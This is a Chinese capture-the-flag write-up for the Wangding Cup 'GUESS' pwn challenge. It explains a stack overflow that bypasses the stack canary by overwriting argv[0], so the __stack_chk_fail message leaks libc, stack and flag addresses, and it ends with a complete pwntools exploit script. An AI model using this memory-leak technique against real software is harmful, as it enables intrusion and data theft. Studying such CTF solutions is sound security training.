网鼎杯-GUESS

网鼎杯-guess

题目链接如下:

链接:https://pan.baidu.com/s/19Imm-V-i71vpEN1mofwOhQ 密码:isek

题目分析

程序的主要代码如下:

程序首先打开flag.txt将flag读取到了栈中,接着进入循环,每次循环会fork出一个进程,该进程会读取用户输入的flag,并将该flag与存在栈中的标准flag进行比较。并且对fork的次数进行了限制,最多只能fork三次,也就是只有三次‘猜’flag的机会。

漏洞

程序在读取输入的时候存在溢出,没有对输入的内容长度进行限制,但是这里开启了Cannary,所以不能简单的控制程序的执行流程。

利用思路

这里开启了Cannary,为了绕过它的保护,可以通过爆破或者泄露的方式,但是这里对fork的次数进行了限制,所以爆破的方法不行。

采用stack smash来进行信息泄露,stack smash的原理在CTF Wiki中有介绍。大概原理就是在Cannary被覆盖之后程序会检测到错误,这时会执行__stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,而argv[0]指针是保存在栈上的,默认指向的是程序的名称,通过覆盖该指针为我们想要泄露的地址达到信息泄漏的目的。

程序只能泄露三次,可以按照如下顺序泄露:首先通过got表来泄露libc的基址,接着利用libc中的environ变量来泄露栈的基址,最后通过固定的偏移来泄露栈上存放的flag

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(arch='amd64', os='linux', endian='little')
context.log_level='debug'

p = process('./GUESS')
elf = ELF('./GUESS')
libc = ELF('./libc.so.6')
print p.recvuntil('This is GUESS FLAG CHALLENGE!')
# gdb.attach(p,gdbscript='''
# set follow-fork-mod child
# b *0x400b28
# ''')
# print p.recvuntil('Please type your guessing flag')
# raw_input('aaa')
# p.sendline('a'*0x30)
print p.recvuntil('Please type your guessing flag')
# here is offset to argv[0]
offset = 0x40+0x8*3+(0x7fff42181a88-0x7fff421819b8)
# leak libc base
payload = 'a'*offset+p64(0x602048)
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fb8571c1740
libc_start_main = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
libc_base = libc_start_main-libc.symbols['__libc_start_main']
# using environ to leak stack base addr
stack_base_ptr = libc_base+libc.symbols['environ']
print hex(stack_base_ptr)
print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(stack_base_ptr)
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fb8571c1740
stack_base = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
print 'stack_base:'+hex(stack_base)
# calc flag addr by stack_base-flag_offset
flag_offset = 0x7ffc67b40248-0x7ffc67b400e0
flag_addr = stack_base - flag_offset

print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(flag_addr)
p.sendline(payload)

print p.recv()
p.interactive()